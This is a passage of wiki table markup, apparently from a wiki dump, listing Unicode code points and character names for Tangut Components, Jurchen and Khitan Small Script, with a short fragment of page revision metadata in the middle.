COMPONENT-800|&amp;#x18d9f;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18DAx
|{{H:title|dotted=no|TANGUT COMPONENT-801|&amp;#x18da0;}}||{{H:title|dotted=no|TANGUT COMPONENT-802|&amp;#x18da1;}}||{{H:title|dotted=no|TANGUT COMPONENT-803|&amp;#x18da2;}}||{{H:title|dotted=no|TANGUT COMPONENT-804|&amp;#x18da3;}}||{{H:title|dotted=no|TANGUT COMPONENT-805|&amp;#x18da4;}}||{{H:title|dotted=no|TANGUT COMPONENT-806|&amp;#x18da5;}}||{{H:title|dotted=no|TANGUT COMPONENT-807|&amp;#x18da6;}}||{{H:title|dotted=no|TANGUT COMPONENT-808|&amp;#x18da7;}}||{{H:title|dotted=no|TANGUT COMPONENT-809|&amp;#x18da8;}}||{{H:title|dotted=no|TANGUT COMPONENT-810|&amp;#x18da9;}}||{{H:title|dotted=no|TANGUT COMPONENT-811|&amp;#x18daa;}}||{{H:title|dotted=no|TANGUT COMPONENT-812|&amp;#x18dab;}}||{{H:title|dotted=no|TANGUT COMPONENT-813|&amp;#x18dac;}}||{{H:title|dotted=no|TANGUT COMPONENT-814|&amp;#x18dad;}}||{{H:title|dotted=no|TANGUT COMPONENT-815|&amp;#x18dae;}}||{{H:title|dotted=no|TANGUT COMPONENT-816|&amp;#x18daf;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18DBx
|{{H:title|dotted=no|TANGUT COMPONENT-817|&amp;#x18db0;}}||{{H:title|dotted=no|TANGUT COMPONENT-818|&amp;#x18db1;}}||{{H:title|dotted=no|TANGUT COMPONENT-819|&amp;#x18db2;}}||{{H:title|dotted=no|TANGUT COMPONENT-820|&amp;#x18db3;}}||{{H:title|dotted=no|TANGUT COMPONENT-821|&amp;#x18db4;}}||{{H:title|dotted=no|TANGUT COMPONENT-822|&amp;#x18db5;}}||{{H:title|dotted=no|TANGUT COMPONENT-823|&amp;#x18db6;}}||{{H:title|dotted=no|TANGUT COMPONENT-824|&amp;#x18db7;}}||{{H:title|dotted=no|TANGUT COMPONENT-825|&amp;#x18db8;}}||{{H:title|dotted=no|TANGUT COMPONENT-826|&amp;#x18db9;}}||{{H:title|dotted=no|TANGUT COMPONENT-827|&amp;#x18dba;}}||{{H:title|dotted=no|TANGUT COMPONENT-828|&amp;#x18dbb;}}||{{H:title|dotted=no|TANGUT COMPONENT-829|&amp;#x18dbc;}}||{{H:title|dotted=no|TANGUT COMPONENT-830|&amp;#x18dbd;}}||{{H:title|dotted=no|TANGUT COMPONENT-831|&amp;#x18dbe;}}||{{H:title|dotted=no|TANGUT COMPONENT-832|&amp;#x18dbf;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18DCx
|{{H:title|dotted=no|TANGUT COMPONENT-833|&amp;#x18dc0;}}||{{H:title|dotted=no|TANGUT COMPONENT-834|&amp;#x18dc1;}}||{{H:title|dotted=no|TANGUT COMPONENT-835|&amp;#x18dc2;}}||{{H:title|dotted=no|TANGUT COMPONENT-836|&amp;#x18dc3;}}||{{H:title|dotted=no|TANGUT COMPONENT-837|&amp;#x18dc4;}}||{{H:title|dotted=no|TANGUT COMPONENT-838|&amp;#x18dc5;}}||{{H:title|dotted=no|TANGUT COMPONENT-839|&amp;#x18dc6;}}||{{H:title|dotted=no|TANGUT COMPONENT-840|&amp;#x18dc7;}}||{{H:title|dotted=no|TANGUT COMPONENT-841|&amp;#x18dc8;}}||{{H:title|dotted=no|TANGUT COMPONENT-842|&amp;#x18dc9;}}||{{H:title|dotted=no|TANGUT COMPONENT-843|&amp;#x18dca;}}||{{H:title|dotted=no|TANGUT COMPONENT-844|&amp;#x18dcb;}}||{{H:title|dotted=no|TANGUT COMPONENT-845|&amp;#x18dcc;}}||{{H:title|dotted=no|TANGUT COMPONENT-846|&amp;#x18dcd;}}||{{H:title|dotted=no|TANGUT COMPONENT-847|&amp;#x18dce;}}||{{H:title|dotted=no|TANGUT COMPONENT-848|&amp;#x18dcf;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18DDx
|{{H:title|dotted=no|TANGUT COMPONENT-849|&amp;#x18dd0;}}||{{H:title|dotted=no|TANGUT COMPONENT-850|&amp;#x18dd1;}}||{{H:title|dotted=no|TANGUT COMPONENT-851|&amp;#x18dd2;}}||{{H:title|dotted=no|TANGUT COMPONENT-852|&amp;#x18dd3;}}||{{H:title|dotted=no|TANGUT COMPONENT-853|&amp;#x18dd4;}}||{{H:title|dotted=no|TANGUT COMPONENT-854|&amp;#x18dd5;}}||{{H:title|dotted=no|TANGUT COMPONENT-855|&amp;#x18dd6;}}||{{H:title|dotted=no|TANGUT COMPONENT-856|&amp;#x18dd7;}}||{{H:title|dotted=no|TANGUT COMPONENT-857|&amp;#x18dd8;}}||{{H:title|dotted=no|TANGUT COMPONENT-858|&amp;#x18dd9;}}||{{H:title|dotted=no|TANGUT COMPONENT-859|&amp;#x18dda;}}||{{H:title|dotted=no|TANGUT COMPONENT-860|&amp;#x18ddb;}}||{{H:title|dotted=no|TANGUT COMPONENT-861|&amp;#x18ddc;}}||{{H:title|dotted=no|TANGUT COMPONENT-862|&amp;#x18ddd;}}||{{H:title|dotted=no|TANGUT COMPONENT-863|&amp;#x18dde;}}||{{H:title|dotted=no|TANGUT COMPONENT-864|&amp;#x18ddf;}}
|----- style=&quot;text-align:center;background:#ddb495;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18DEx
|{{H:title|dotted=no|TANGUT COMPONENT-865|&amp;#x18de0;}}||{{H:title|dotted=no|TANGUT COMPONENT-866|&amp;#x18de1;}}||{{H:title|dotted=no|TANGUT COMPONENT-867|&amp;#x18de2;}}||{{H:title|dotted=no|TANGUT COMPONENT-868|&amp;#x18de3;}}||{{H:title|dotted=no|TANGUT COMPONENT-869|&amp;#x18de4;}}||{{H:title|dotted=no|TANGUT COMPONENT-870|&amp;#x18de5;}}||{{H:title|dotted=no|TANGUT COMPONENT-871|&amp;#x18de6;}}||{{H:title|dotted=no|TANGUT COMPONENT-872|&amp;#x18de7;}}||{{H:title|dotted=no|TANGUT COMPONENT-873|&amp;#x18de8;}}||{{H:title|dotted=no|TANGUT COMPONENT-874|&amp;#x18de9;}}||{{H:title|dotted=no|TANGUT COMPONENT-875|&amp;#x18dea;}}||{{H:title|dotted=no|TANGUT COMPONENT-876|&amp;#x18deb;}}||{{H:title|dotted=no|TANGUT COMPONENT-877|&amp;#x18dec;}}||{{H:title|dotted=no|TANGUT COMPONENT-878|&amp;#x18ded;}}||{{H:title|dotted=no|TANGUT COMPONENT-879|&amp;#x18dee;}}||{{H:title|dotted=no|TANGUT COMPONENT-880|&amp;#x18def;}}
|----- style=&quot;text-align:center;background:#777777;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18DFx
|style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT COMPONENT-881|&amp;#x18df0;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT COMPONENT-882|&amp;#x18df1;}}||style=&quot;background:#ddb495;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT COMPONENT-883|&amp;#x18df2;}}||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;||&amp;nbsp;
|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Jurchen'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#c8a36f;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18E0x
|{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E00|&amp;#x18e00;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E01|&amp;#x18e01;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E02|&amp;#x18e02;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E03|&amp;#x18e03;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E04|&amp;#x18e04;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E05|&amp;#x18e05;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E06|&amp;#x18e06;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E07|&amp;#x18e07;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E08|&amp;#x18e08;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E09|&amp;#x18e09;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E0A|&amp;#x18e0a;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E0B|&amp;#x18e0b;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E0C|&amp;#x18e0c;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E0D|&amp;#x18e0d;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E0E|&amp;#x18e0e;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E0F|&amp;#x18e0f;}}
|----- style=&quot;text-align:center;background:#c8a36f;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18E1x
|{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E10|&amp;#x18e10;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E11|&amp;#x18e11;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E12|&amp;#x18e12;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E13|&amp;#x18e13;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E14|&amp;#x18e14;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E15|&amp;#x18e15;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E16|&amp;#x18e16;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E17|&amp;#x18e17;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E18|&amp;#x18e18;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E19|&amp;#x18e19;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E1A|&amp;#x18e1a;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E1B|&amp;#x18e1b;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E1C|&amp;#x18e1c;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E1D|&amp;#x18e1d;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E1E|&amp;#x18e1e;}}||{{H:title|dotted=no|JURCHEN IDEOGRAPH-18E1F|&amp;#x18e1f;}}
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      <sha1>a5exy7j72ec8oelb7nestm9ym4dp60y</sha1>
    </revision>
    <revision>
      <id>4670518</id>
      <parentid>4670517</parentid>
      <timestamp>2026-09-17T00:36:44Z</timestamp>
      <contributor>
        <username>~2026-50318-97</username>
        <id>3626120</id>
      </contributor>
      <comment>Fixed once again</comment>
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|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut Components'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
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|{{H:title|dotted=no|TANGUT COMPONENT-017|&amp;#x18810;}}||{{H:title|dotted=no|TANGUT COMPONENT-018|&amp;#x18811;}}||{{H:title|dotted=no|TANGUT COMPONENT-019|&amp;#x18812;}}||{{H:title|dotted=no|TANGUT COMPONENT-020|&amp;#x18813;}}||{{H:title|dotted=no|TANGUT COMPONENT-021|&amp;#x18814;}}||{{H:title|dotted=no|TANGUT COMPONENT-022|&amp;#x18815;}}||{{H:title|dotted=no|TANGUT COMPONENT-023|&amp;#x18816;}}||{{H:title|dotted=no|TANGUT COMPONENT-024|&amp;#x18817;}}||{{H:title|dotted=no|TANGUT COMPONENT-025|&amp;#x18818;}}||{{H:title|dotted=no|TANGUT COMPONENT-026|&amp;#x18819;}}||{{H:title|dotted=no|TANGUT COMPONENT-027|&amp;#x1881a;}}||{{H:title|dotted=no|TANGUT COMPONENT-028|&amp;#x1881b;}}||{{H:title|dotted=no|TANGUT COMPONENT-029|&amp;#x1881c;}}||{{H:title|dotted=no|TANGUT COMPONENT-030|&amp;#x1881d;}}||{{H:title|dotted=no|TANGUT COMPONENT-031|&amp;#x1881e;}}||{{H:title|dotted=no|TANGUT COMPONENT-032|&amp;#x1881f;}}
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|{{H:title|dotted=no|TANGUT COMPONENT-033|&amp;#x18820;}}||{{H:title|dotted=no|TANGUT COMPONENT-034|&amp;#x18821;}}||{{H:title|dotted=no|TANGUT COMPONENT-035|&amp;#x18822;}}||{{H:title|dotted=no|TANGUT COMPONENT-036|&amp;#x18823;}}||{{H:title|dotted=no|TANGUT COMPONENT-037|&amp;#x18824;}}||{{H:title|dotted=no|TANGUT COMPONENT-038|&amp;#x18825;}}||{{H:title|dotted=no|TANGUT COMPONENT-039|&amp;#x18826;}}||{{H:title|dotted=no|TANGUT COMPONENT-040|&amp;#x18827;}}||{{H:title|dotted=no|TANGUT COMPONENT-041|&amp;#x18828;}}||{{H:title|dotted=no|TANGUT COMPONENT-042|&amp;#x18829;}}||{{H:title|dotted=no|TANGUT COMPONENT-043|&amp;#x1882a;}}||{{H:title|dotted=no|TANGUT COMPONENT-044|&amp;#x1882b;}}||{{H:title|dotted=no|TANGUT COMPONENT-045|&amp;#x1882c;}}||{{H:title|dotted=no|TANGUT COMPONENT-046|&amp;#x1882d;}}||{{H:title|dotted=no|TANGUT COMPONENT-047|&amp;#x1882e;}}||{{H:title|dotted=no|TANGUT COMPONENT-048|&amp;#x1882f;}}
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|{{H:title|dotted=no|TANGUT COMPONENT-049|&amp;#x18830;}}||{{H:title|dotted=no|TANGUT COMPONENT-050|&amp;#x18831;}}||{{H:title|dotted=no|TANGUT COMPONENT-051|&amp;#x18832;}}||{{H:title|dotted=no|TANGUT COMPONENT-052|&amp;#x18833;}}||{{H:title|dotted=no|TANGUT COMPONENT-053|&amp;#x18834;}}||{{H:title|dotted=no|TANGUT COMPONENT-054|&amp;#x18835;}}||{{H:title|dotted=no|TANGUT COMPONENT-055|&amp;#x18836;}}||{{H:title|dotted=no|TANGUT COMPONENT-056|&amp;#x18837;}}||{{H:title|dotted=no|TANGUT COMPONENT-057|&amp;#x18838;}}||{{H:title|dotted=no|TANGUT COMPONENT-058|&amp;#x18839;}}||{{H:title|dotted=no|TANGUT COMPONENT-059|&amp;#x1883a;}}||{{H:title|dotted=no|TANGUT COMPONENT-060|&amp;#x1883b;}}||{{H:title|dotted=no|TANGUT COMPONENT-061|&amp;#x1883c;}}||{{H:title|dotted=no|TANGUT COMPONENT-062|&amp;#x1883d;}}||{{H:title|dotted=no|TANGUT COMPONENT-063|&amp;#x1883e;}}||{{H:title|dotted=no|TANGUT COMPONENT-064|&amp;#x1883f;}}
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!style=&quot;background:#ffffff;{{text default color}};&quot;|1884x
|{{H:title|dotted=no|TANGUT COMPONENT-065|&amp;#x18840;}}||{{H:title|dotted=no|TANGUT COMPONENT-066|&amp;#x18841;}}||{{H:title|dotted=no|TANGUT COMPONENT-067|&amp;#x18842;}}||{{H:title|dotted=no|TANGUT COMPONENT-068|&amp;#x18843;}}||{{H:title|dotted=no|TANGUT COMPONENT-069|&amp;#x18844;}}||{{H:title|dotted=no|TANGUT COMPONENT-070|&amp;#x18845;}}||{{H:title|dotted=no|TANGUT COMPONENT-071|&amp;#x18846;}}||{{H:title|dotted=no|TANGUT COMPONENT-072|&amp;#x18847;}}||{{H:title|dotted=no|TANGUT COMPONENT-073|&amp;#x18848;}}||{{H:title|dotted=no|TANGUT COMPONENT-074|&amp;#x18849;}}||{{H:title|dotted=no|TANGUT COMPONENT-075|&amp;#x1884a;}}||{{H:title|dotted=no|TANGUT COMPONENT-076|&amp;#x1884b;}}||{{H:title|dotted=no|TANGUT COMPONENT-077|&amp;#x1884c;}}||{{H:title|dotted=no|TANGUT COMPONENT-078|&amp;#x1884d;}}||{{H:title|dotted=no|TANGUT COMPONENT-079|&amp;#x1884e;}}||{{H:title|dotted=no|TANGUT COMPONENT-080|&amp;#x1884f;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
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|{{H:title|dotted=no|TANGUT COMPONENT-081|&amp;#x18850;}}||{{H:title|dotted=no|TANGUT COMPONENT-082|&amp;#x18851;}}||{{H:title|dotted=no|TANGUT COMPONENT-083|&amp;#x18852;}}||{{H:title|dotted=no|TANGUT COMPONENT-084|&amp;#x18853;}}||{{H:title|dotted=no|TANGUT COMPONENT-085|&amp;#x18854;}}||{{H:title|dotted=no|TANGUT COMPONENT-086|&amp;#x18855;}}||{{H:title|dotted=no|TANGUT COMPONENT-087|&amp;#x18856;}}||{{H:title|dotted=no|TANGUT COMPONENT-088|&amp;#x18857;}}||{{H:title|dotted=no|TANGUT COMPONENT-089|&amp;#x18858;}}||{{H:title|dotted=no|TANGUT COMPONENT-090|&amp;#x18859;}}||{{H:title|dotted=no|TANGUT COMPONENT-091|&amp;#x1885a;}}||{{H:title|dotted=no|TANGUT COMPONENT-092|&amp;#x1885b;}}||{{H:title|dotted=no|TANGUT COMPONENT-093|&amp;#x1885c;}}||{{H:title|dotted=no|TANGUT COMPONENT-094|&amp;#x1885d;}}||{{H:title|dotted=no|TANGUT COMPONENT-095|&amp;#x1885e;}}||{{H:title|dotted=no|TANGUT COMPONENT-096|&amp;#x1885f;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
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|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|1887x
|{{H:title|dotted=no|TANGUT COMPONENT-113|&amp;#x18870;}}||{{H:title|dotted=no|TANGUT COMPONENT-114|&amp;#x18871;}}||{{H:title|dotted=no|TANGUT COMPONENT-115|&amp;#x18872;}}||{{H:title|dotted=no|TANGUT COMPONENT-116|&amp;#x18873;}}||{{H:title|dotted=no|TANGUT COMPONENT-117|&amp;#x18874;}}||{{H:title|dotted=no|TANGUT COMPONENT-118|&amp;#x18875;}}||{{H:title|dotted=no|TANGUT COMPONENT-119|&amp;#x18876;}}||{{H:title|dotted=no|TANGUT COMPONENT-120|&amp;#x18877;}}||{{H:title|dotted=no|TANGUT COMPONENT-121|&amp;#x18878;}}||{{H:title|dotted=no|TANGUT COMPONENT-122|&amp;#x18879;}}||{{H:title|dotted=no|TANGUT COMPONENT-123|&amp;#x1887a;}}||{{H:title|dotted=no|TANGUT COMPONENT-124|&amp;#x1887b;}}||{{H:title|dotted=no|TANGUT COMPONENT-125|&amp;#x1887c;}}||{{H:title|dotted=no|TANGUT COMPONENT-126|&amp;#x1887d;}}||{{H:title|dotted=no|TANGUT COMPONENT-127|&amp;#x1887e;}}||{{H:title|dotted=no|TANGUT COMPONENT-128|&amp;#x1887f;}}
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|{{H:title|dotted=no|TANGUT COMPONENT-705|&amp;#x18ac0;}}||{{H:title|dotted=no|TANGUT COMPONENT-706|&amp;#x18ac1;}}||{{H:title|dotted=no|TANGUT COMPONENT-707|&amp;#x18ac2;}}||{{H:title|dotted=no|TANGUT COMPONENT-708|&amp;#x18ac3;}}||{{H:title|dotted=no|TANGUT COMPONENT-709|&amp;#x18ac4;}}||{{H:title|dotted=no|TANGUT COMPONENT-710|&amp;#x18ac5;}}||{{H:title|dotted=no|TANGUT COMPONENT-711|&amp;#x18ac6;}}||{{H:title|dotted=no|TANGUT COMPONENT-712|&amp;#x18ac7;}}||{{H:title|dotted=no|TANGUT COMPONENT-713|&amp;#x18ac8;}}||{{H:title|dotted=no|TANGUT COMPONENT-714|&amp;#x18ac9;}}||{{H:title|dotted=no|TANGUT COMPONENT-715|&amp;#x18aca;}}||{{H:title|dotted=no|TANGUT COMPONENT-716|&amp;#x18acb;}}||{{H:title|dotted=no|TANGUT COMPONENT-717|&amp;#x18acc;}}||{{H:title|dotted=no|TANGUT COMPONENT-718|&amp;#x18acd;}}||{{H:title|dotted=no|TANGUT COMPONENT-719|&amp;#x18ace;}}||{{H:title|dotted=no|TANGUT COMPONENT-720|&amp;#x18acf;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18ADx
|{{H:title|dotted=no|TANGUT COMPONENT-721|&amp;#x18ad0;}}||{{H:title|dotted=no|TANGUT COMPONENT-722|&amp;#x18ad1;}}||{{H:title|dotted=no|TANGUT COMPONENT-723|&amp;#x18ad2;}}||{{H:title|dotted=no|TANGUT COMPONENT-724|&amp;#x18ad3;}}||{{H:title|dotted=no|TANGUT COMPONENT-725|&amp;#x18ad4;}}||{{H:title|dotted=no|TANGUT COMPONENT-726|&amp;#x18ad5;}}||{{H:title|dotted=no|TANGUT COMPONENT-727|&amp;#x18ad6;}}||{{H:title|dotted=no|TANGUT COMPONENT-728|&amp;#x18ad7;}}||{{H:title|dotted=no|TANGUT COMPONENT-729|&amp;#x18ad8;}}||{{H:title|dotted=no|TANGUT COMPONENT-730|&amp;#x18ad9;}}||{{H:title|dotted=no|TANGUT COMPONENT-731|&amp;#x18ada;}}||{{H:title|dotted=no|TANGUT COMPONENT-732|&amp;#x18adb;}}||{{H:title|dotted=no|TANGUT COMPONENT-733|&amp;#x18adc;}}||{{H:title|dotted=no|TANGUT COMPONENT-734|&amp;#x18add;}}||{{H:title|dotted=no|TANGUT COMPONENT-735|&amp;#x18ade;}}||{{H:title|dotted=no|TANGUT COMPONENT-736|&amp;#x18adf;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18AEx
|{{H:title|dotted=no|TANGUT COMPONENT-737|&amp;#x18ae0;}}||{{H:title|dotted=no|TANGUT COMPONENT-738|&amp;#x18ae1;}}||{{H:title|dotted=no|TANGUT COMPONENT-739|&amp;#x18ae2;}}||{{H:title|dotted=no|TANGUT COMPONENT-740|&amp;#x18ae3;}}||{{H:title|dotted=no|TANGUT COMPONENT-741|&amp;#x18ae4;}}||{{H:title|dotted=no|TANGUT COMPONENT-742|&amp;#x18ae5;}}||{{H:title|dotted=no|TANGUT COMPONENT-743|&amp;#x18ae6;}}||{{H:title|dotted=no|TANGUT COMPONENT-744|&amp;#x18ae7;}}||{{H:title|dotted=no|TANGUT COMPONENT-745|&amp;#x18ae8;}}||{{H:title|dotted=no|TANGUT COMPONENT-746|&amp;#x18ae9;}}||{{H:title|dotted=no|TANGUT COMPONENT-747|&amp;#x18aea;}}||{{H:title|dotted=no|TANGUT COMPONENT-748|&amp;#x18aeb;}}||{{H:title|dotted=no|TANGUT COMPONENT-749|&amp;#x18aec;}}||{{H:title|dotted=no|TANGUT COMPONENT-750|&amp;#x18aed;}}||{{H:title|dotted=no|TANGUT COMPONENT-751|&amp;#x18aee;}}||{{H:title|dotted=no|TANGUT COMPONENT-752|&amp;#x18aef;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18AFx
|style=&quot;background:#9c8dff;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT COMPONENT-753|&amp;#x18af0;}}||style=&quot;background:#9c8dff;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT COMPONENT-754|&amp;#x18af1;}}||style=&quot;background:#9c8dff;{{text default color}};&quot;|{{H:title|dotted=no|TANGUT COMPONENT-755|&amp;#x18af2;}}||{{H:title|dotted=no|TANGUT COMPONENT-756|&amp;#x18af3;}}||{{H:title|dotted=no|TANGUT COMPONENT-757|&amp;#x18af4;}}||{{H:title|dotted=no|TANGUT COMPONENT-758|&amp;#x18af5;}}||{{H:title|dotted=no|TANGUT COMPONENT-759|&amp;#x18af6;}}||{{H:title|dotted=no|TANGUT COMPONENT-760|&amp;#x18af7;}}||{{H:title|dotted=no|TANGUT COMPONENT-761|&amp;#x18af8;}}||{{H:title|dotted=no|TANGUT COMPONENT-762|&amp;#x18af9;}}||{{H:title|dotted=no|TANGUT COMPONENT-763|&amp;#x18afa;}}||{{H:title|dotted=no|TANGUT COMPONENT-764|&amp;#x18afb;}}||{{H:title|dotted=no|TANGUT COMPONENT-765|&amp;#x18afc;}}||{{H:title|dotted=no|TANGUT COMPONENT-766|&amp;#x18afd;}}||{{H:title|dotted=no|TANGUT COMPONENT-767|&amp;#x18afe;}}||{{H:title|dotted=no|TANGUT COMPONENT-768|&amp;#x18aff;}}
|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Khitan Small Script'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!U+||0||1||2||3||4||5||6||7||8||9||A||B||C||D||E||F
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B0x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B00|&amp;#x18b00;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B01|&amp;#x18b01;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B02|&amp;#x18b02;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B03|&amp;#x18b03;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B04|&amp;#x18b04;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B05|&amp;#x18b05;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B06|&amp;#x18b06;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B07|&amp;#x18b07;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B08|&amp;#x18b08;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B09|&amp;#x18b09;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0A|&amp;#x18b0a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0B|&amp;#x18b0b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0C|&amp;#x18b0c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0D|&amp;#x18b0d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0E|&amp;#x18b0e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B0F|&amp;#x18b0f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B1x
|{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B10|&amp;#x18b10;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B11|&amp;#x18b11;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B12|&amp;#x18b12;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B13|&amp;#x18b13;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B14|&amp;#x18b14;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B15|&amp;#x18b15;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B16|&amp;#x18b16;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B17|&amp;#x18b17;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B18|&amp;#x18b18;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B19|&amp;#x18b19;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1A|&amp;#x18b1a;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1B|&amp;#x18b1b;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1C|&amp;#x18b1c;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1D|&amp;#x18b1d;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1E|&amp;#x18b1e;}}||{{H:title|dotted=no|KHITAN SMALL SCRIPT CHARACTER-18B1F|&amp;#x18b1f;}}
|----- style=&quot;text-align:center;background:#ffb0ff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|18B2x
